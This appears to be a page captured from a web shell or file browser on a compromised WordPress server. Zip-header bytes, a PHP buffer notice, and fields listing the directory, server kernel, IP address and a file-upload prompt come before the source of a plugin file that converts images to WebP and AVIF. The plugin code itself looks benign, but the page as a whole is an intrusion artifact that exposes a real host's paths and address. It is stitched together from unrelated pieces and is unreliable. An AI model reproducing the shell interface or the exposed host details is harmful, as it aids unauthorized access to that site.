PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
Notice: ob_end_clean(): Failed to delete buffer. No buffer to delete in /home/telusvwg/public_html/da754d/index.php on line 8
$#$#$#

Dir : /home/telusvwg/techinnovo.co/wp-content/plugins/max-image-performance/includes/
Server: Linux premium279.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
IP: 66.29.132.192
Choose File :

Url:
Dir : /home/telusvwg/techinnovo.co/wp-content/plugins/max-image-performance/includes/class-aiwo-webp.php

<?php

if (!defined('ABSPATH')) {
    exit;
}

if (!class_exists('AIWO_WebP')) {
class AIWO_WebP {
    public static function init() {
        add_filter('wp_generate_attachment_metadata', array(__CLASS__, 'generate_webp'), 10, 2);
        add_filter('wp_get_attachment_image_src', array(__CLASS__, 'filter_image_src'), 10, 4);
        add_filter('wp_calculate_image_srcset', array(__CLASS__, 'filter_srcset'), 10, 5);
        add_filter('wp_get_attachment_image', array(__CLASS__, 'filter_attachment_image'), 10, 5);
        add_action('delete_attachment', array(__CLASS__, 'delete_webp_files'));
    }

    public static function generate_webp($metadata, $attachment_id) {
        $settings = AIWO_Settings::get_settings();
        if (empty($settings['enable_webp'])) {
            // Still allow AVIF generation when WebP is disabled.
        }

        $file = get_attached_file($attachment_id);
        if (!$file || !file_exists($file)) {
            return $metadata;
        }

        $mime = get_post_mime_type($attachment_id);
        if (!in_array($mime, array('image/jpeg', 'image/png', 'image/webp'), true)) {
            return $metadata;
        }

        $quality = intval($settings['quality']);
        $avif_quality = intval($settings['avif_quality']);

        if (!empty($settings['optimize_originals'])) {
            self::optimize_image($file, $mime, $quality);
        }

        if (!empty($settings['optimize_sizes']) && !empty($metadata['sizes']) && is_array($metadata['sizes'])) {
            foreach ($metadata['sizes'] as $size_data) {
                if (empty($size_data['file'])) {
                    continue;
                }
                $size_file = wp_normalize_path(path_join(dirname($file), $size_data['file']));
                if (file_exists($size_file)) {
                    self::optimize_image($size_file, $mime, $quality);
                }
            }
        }

        $webp_meta = array();
        $avif_meta = array();

        if (!empty($settings['enable_webp']) && $mime !== 'image/webp') {
            $full_webp = self::create_webp($file, $quality);
            if ($full_webp) {
                $webp_meta['full'] = self::relative_upload_path($full_webp);
            }
        }

        if (!empty($settings['enable_avif'])) {
            $full_avif = self::create_avif($file, $avif_quality);
            if ($full_avif) {
                $avif_meta['full'] = self::relative_upload_path($full_avif);
            }
        }

        if (!empty($metadata['sizes']) && is_array($metadata['sizes'])) {
            $upload_dir = wp_get_upload_dir();
            $basedir = wp_normalize_path($upload_dir['basedir']);
            foreach ($metadata['sizes'] as $size_key => $size_data) {
                if (empty($size_data['file'])) {
                    continue;
                }
                $size_file = wp_normalize_path(path_join(dirname($file), $size_data['file']));
                if (file_exists($size_file)) {
                    if (!empty($settings['enable_webp']) && $mime !== 'image/webp') {
                        $webp_file = self::create_webp($size_file, $quality);
                        if ($webp_file) {
                            $webp_meta[$size_key] = self::relative_upload_path($webp_file);
                        }
                    }
                    if (!empty($settings['enable_avif'])) {
                        $avif_file = self::create_avif($size_file, $avif_quality);
                        if ($avif_file) {
                            $avif_meta[$size_key] = self::relative_upload_path($avif_file);
                        }
                    }
                }
            }
        }

        if (!empty($webp_meta)) {
            $metadata['aiwo_webp'] = $webp_meta;
        }
        if (!empty($avif_meta)) {
            $metadata['aiwo_avif'] = $avif_meta;
        }

        return $metadata;
    }

    public static function filter_image_src($image, $attachment_id, $size, $icon) {
        $settings = AIWO_Settings::get_settings();
        $supports_avif = !empty($settings['serve_avif']) && self::client_supports_avif();
        $supports_webp = !empty($settings['serve_webp']) && self::client_supports_webp();
        if (!$supports_avif && !$supports_webp) {
            return $image;
        }

        if (empty($image[0])) {
            return $image;
        }

        $file = get_attached_file($attachment_id);
        if (!$file) {
            return $image;
        }

        if ($supports_avif) {
            $avif_url = self::get_avif_url_for_size($attachment_id, $size, $file);
            if ($avif_url) {
                $image[0] = $avif_url;
                return $image;
            }
        }

        if ($supports_webp) {
            $webp_url = self::get_webp_url_for_size($attachment_id, $size, $file);
            if ($webp_url) {
                $image[0] = $webp_url;
            }
        }

        return $image;
    }

    public static function filter_srcset($sources, $size_array, $image_src, $image_meta, $attachment_id) {
        $settings = AIWO_Settings::get_settings();
        $supports_avif = !empty($settings['serve_avif']) && self::client_supports_avif();
        $supports_webp = !empty($settings['serve_webp']) && self::client_supports_webp();
        if (!$supports_avif && !$supports_webp) {
            return $sources;
        }

        if (empty($sources) || !is_array($sources)) {
            return $sources;
        }

        $file = get_attached_file($attachment_id);
        if (!$file) {
            return $sources;
        }

        foreach ($sources as $width => $source) {
            if (empty($source['url'])) {
                continue;
            }
            if ($supports_avif) {
                $candidate = self::replace_ext_with_avif($source['url']);
                if ($candidate && self::url_has_avif($candidate)) {
                    $sources[$width]['url'] = $candidate;
                    continue;
                }
            }
            if ($supports_webp) {
                $candidate = self::replace_ext_with_webp($source['url']);
                if ($candidate && self::url_has_webp($candidate)) {
                    $sources[$width]['url'] = $candidate;
                }
            }
        }

        return $sources;
    }

    public static function filter_attachment_image($html, $attachment_id, $size, $icon, $attr) {
        $settings = AIWO_Settings::get_settings();
        $supports_avif = !empty($settings['serve_avif']) && self::client_supports_avif();
        $supports_webp = !empty($settings['serve_webp']) && self::client_supports_webp();
        if (empty($settings['use_picture_tag']) || (!$supports_avif && !$supports_webp)) {
            return $html;
        }

        if (empty($html)) {
            return $html;
        }

        $file = get_attached_file($attachment_id);
        if (!$file) {
            return $html;
        }

        $avif_url = $supports_avif ? self::get_avif_url_for_size($attachment_id, $size, $file) : false;
        $webp_url = $supports_webp ? self::get_webp_url_for_size($attachment_id, $size, $file) : false;
        if (!$avif_url && !$webp_url) {
            return $html;
        }

        $sizes_attr = '';
        if (is_array($attr) && !empty($attr['sizes'])) {
            $sizes_attr = ' sizes="' . esc_attr($attr['sizes']) . '"';
        }

        $picture  = '<picture>';
        if ($avif_url) {
            $picture .= '<source type="image/avif" srcset="' . esc_url($avif_url) . '"' . $sizes_attr . '>';
        }
        if ($webp_url) {
            $picture .= '<source type="image/webp" srcset="' . esc_url($webp_url) . '"' . $sizes_attr . '>';
        }
        $picture .= $html;
        $picture .= '</picture>';

        return $picture;
    }

    public static function delete_webp_files($attachment_id) {
        $meta = wp_get_attachment_metadata($attachment_id);
        if (empty($meta['aiwo_webp']) || !is_array($meta['aiwo_webp'])) {
            // Continue to AVIF cleanup.
        }

        $upload_dir = wp_get_upload_dir();
        $basedir = wp_normalize_path($upload_dir['basedir']);

        if (!empty($meta['aiwo_webp']) && is_array($meta['aiwo_webp'])) {
            foreach ($meta['aiwo_webp'] as $rel_path) {
                $file = wp_normalize_path(path_join($basedir, $rel_path));
                if (file_exists($file)) {
                    @unlink($file);
                }
            }
        }

        if (!empty($meta['aiwo_avif']) && is_array($meta['aiwo_avif'])) {
            foreach ($meta['aiwo_avif'] as $rel_path) {
                $file = wp_normalize_path(path_join($basedir, $rel_path));
                if (file_exists($file)) {
                    @unlink($file);
                }
            }
        }
    }

    private static function create_webp($file, $quality) {
        $webp_path = self::replace_ext_with_webp($file);
        if (!$webp_path) {
            return false;
        }

        if (file_exists($webp_path)) {
            return $webp_path;
        }

        $editor = wp_get_image_editor($file);
        if (!is_wp_error($editor) && $editor->supports_mime_type('image/webp')) {
            $editor->set_quality($quality);
            $saved = $editor->save($webp_path, 'image/webp');
            if (!is_wp_error($saved) && !empty($saved['path'])) {
                return $saved['path'];
            }
        }

        if (self::gd_webp_available()) {
            $mime = self::detect_mime($file);
            if ($mime === 'image/jpeg') {
                if (!function_exists('imagecreatefromjpeg')) {
                    return false;
                }
                $img = @imagecreatefromjpeg($file);
            } elseif ($mime === 'image/png') {
                if (!function_exists('imagecreatefrompng')) {
                    return false;
                }
                $img = @imagecreatefrompng($file);
            } elseif ($mime === 'image/webp') {
                if (!function_exists('imagecreatefromwebp')) {
                    return false;
                }
                $img = @imagecreatefromwebp($file);
            } else {
                return false;
            }

            if (!$img) {
                return false;
            }

            if (function_exists('imagepalettetotruecolor')) {
                imagepalettetotruecolor($img);
            }
            if (function_exists('imagealphablending')) {
                imagealphablending($img, true);
            }
            if (function_exists('imagesavealpha')) {
                imagesavealpha($img, true);
            }
            $ok = imagewebp($img, $webp_path, $quality);
            if (function_exists('imagedestroy')) {
                imagedestroy($img);
            }
            if ($ok) {
                return $webp_path;
            }
        }

        return false;
    }

    private static function create_avif($file, $quality) {
        $avif_path = self::replace_ext_with_avif($file);
        if (!$avif_path) {
            return false;
        }

        if (file_exists($avif_path)) {
            return $avif_path;
        }

        $editor = wp_get_image_editor($file);
        if (!is_wp_error($editor) && $editor->supports_mime_type('image/avif')) {
            $editor->set_quality($quality);
            $saved = $editor->save($avif_path, 'image/avif');
            if (!is_wp_error($saved) && !empty($saved['path'])) {
                return $saved['path'];
            }
        }

        if (function_exists('imageavif')) {
            $mime = self::detect_mime($file);
            if ($mime === 'image/jpeg') {
                if (!function_exists('imagecreatefromjpeg')) {
                    return false;
                }
                $img = @imagecreatefromjpeg($file);
            } elseif ($mime === 'image/png') {
                if (!function_exists('imagecreatefrompng')) {
                    return false;
                }
                $img = @imagecreatefrompng($file);
            } elseif ($mime === 'image/webp') {
                if (!function_exists('imagecreatefromwebp')) {
                    return false;
                }
                $img = @imagecreatefromwebp($file);
            } else {
                return false;
            }

            if (!$img) {
                return false;
            }

            if (function_exists('imagepalettetotruecolor')) {
                imagepalettetotruecolor($img);
            }
            if (function_exists('imagealphablending')) {
                imagealphablending($img, true);
            }
            if (function_exists('imagesavealpha')) {
                imagesavealpha($img, true);
            }
            $ok = imageavif($img, $avif_path, $quality);
            if (function_exists('imagedestroy')) {
                imagedestroy($img);
            }
            if ($ok) {
                return $avif_path;
            }
        }

        return false;
    }

    public static function regenerate_for_attachment($attachment_id) {
        $metadata = wp_get_attachment_metadata($attachment_id);
        if (empty($metadata) || !is_array($metadata)) {
            return false;
        }
        $updated = self::generate_webp($metadata, $attachment_id);
        wp_update_attachment_metadata($attachment_id, $updated);
        return true;
    }

    private static function client_supports_webp() {
        if (!isset($_SERVER['HTTP_ACCEPT'])) {
            return false;
        }
        return strpos($_SERVER['HTTP_ACCEPT'], 'image/webp') !== false;
    }

    private static function client_supports_avif() {
        if (!isset($_SERVER['HTTP_ACCEPT'])) {
            return false;
        }
        return strpos($_SERVER['HTTP_ACCEPT'], 'image/avif') !== false;
    }

    private static function get_webp_url_for_size($attachment_id, $size, $file) {
        $meta = wp_get_attachment_metadata($attachment_id);
        if (!empty($meta['aiwo_webp'])) {
            if ($size === 'full' && !empty($meta['aiwo_webp']['full'])) {
                return self::relative_upload_url($meta['aiwo_webp']['full']);
            }
            if (is_string($size) && !empty($meta['aiwo_webp'][$size])) {
                return self::relative_upload_url($meta['aiwo_webp'][$size]);
            }
        }

        if ($size === 'full') {
            $webp_path = self::replace_ext_with_webp($file);
            return self::path_to_url_if_exists($webp_path);
        }

        return false;
    }

    private static function get_avif_url_for_size($attachment_id, $size, $file) {
        $meta = wp_get_attachment_metadata($attachment_id);
        if (!empty($meta['aiwo_avif'])) {
            if ($size === 'full' && !empty($meta['aiwo_avif']['full'])) {
                return self::relative_upload_url($meta['aiwo_avif']['full']);
            }
            if (is_string($size) && !empty($meta['aiwo_avif'][$size])) {
                return self::relative_upload_url($meta['aiwo_avif'][$size]);
            }
        }

        if ($size === 'full') {
            $avif_path = self::replace_ext_with_avif($file);
            return self::path_to_url_if_exists($avif_path);
        }

        return false;
    }

    private static function replace_ext_with_webp($path_or_url) {
        return preg_replace('/\.(jpe?g|png)$/i', '.webp', $path_or_url);
    }

    private static function replace_ext_with_avif($path_or_url) {
        return preg_replace('/\.(jpe?g|png|webp)$/i', '.avif', $path_or_url);
    }

    private static function relative_upload_path($absolute_path) {
        $upload_dir = wp_get_upload_dir();
        $basedir = wp_normalize_path($upload_dir['basedir']);
        $path = wp_normalize_path($absolute_path);
        if (strpos($path, $basedir) !== 0) {
            return '';
        }
        return ltrim(str_replace($basedir, '', $path), '/');
    }

    private static function relative_upload_url($relative_path) {
        if (empty($relative_path)) {
            return false;
        }
        $upload_dir = wp_get_upload_dir();
        return trailingslashit($upload_dir['baseurl']) . ltrim($relative_path, '/');
    }

    private static function path_to_url_if_exists($path) {
        if (empty($path) || !file_exists($path)) {
            return false;
        }
        $rel = self::relative_upload_path($path);
        if (empty($rel)) {
            return false;
        }
        return self::relative_upload_url($rel);
    }

    private static function url_has_webp($url) {
        $upload_dir = wp_get_upload_dir();
        $baseurl = $upload_dir['baseurl'];
        if (strpos($url, $baseurl) !== 0) {
            return false;
        }
        $relative = ltrim(str_replace($baseurl, '', $url), '/');
        $file = wp_normalize_path(path_join($upload_dir['basedir'], $relative));
        return file_exists($file);
    }

    private static function url_has_avif($url) {
        $upload_dir = wp_get_upload_dir();
        $baseurl = $upload_dir['baseurl'];
        if (strpos($url, $baseurl) !== 0) {
            return false;
        }
        $relative = ltrim(str_replace($baseurl, '', $url), '/');
        $file = wp_normalize_path(path_join($upload_dir['basedir'], $relative));
        return file_exists($file);
    }

    private static function gd_webp_available() {
        return function_exists('imagewebp');
    }

    private static function detect_mime($file) {
        if (function_exists('mime_content_type')) {
            return mime_content_type($file);
        }
        $info = wp_check_filetype($file);
        return isset($info['type']) ? $info['type'] : '';
    }

    private static function optimize_image($file, $mime, $quality) {
        if (!file_exists($file)) {
            return false;
        }

        $editor = wp_get_image_editor($file);
        if (!is_wp_error($editor)) {
            $editor->set_quality($quality);
            $saved = $editor->save($file, $mime);
            return !is_wp_error($saved);
        }

        return false;
    }
}
}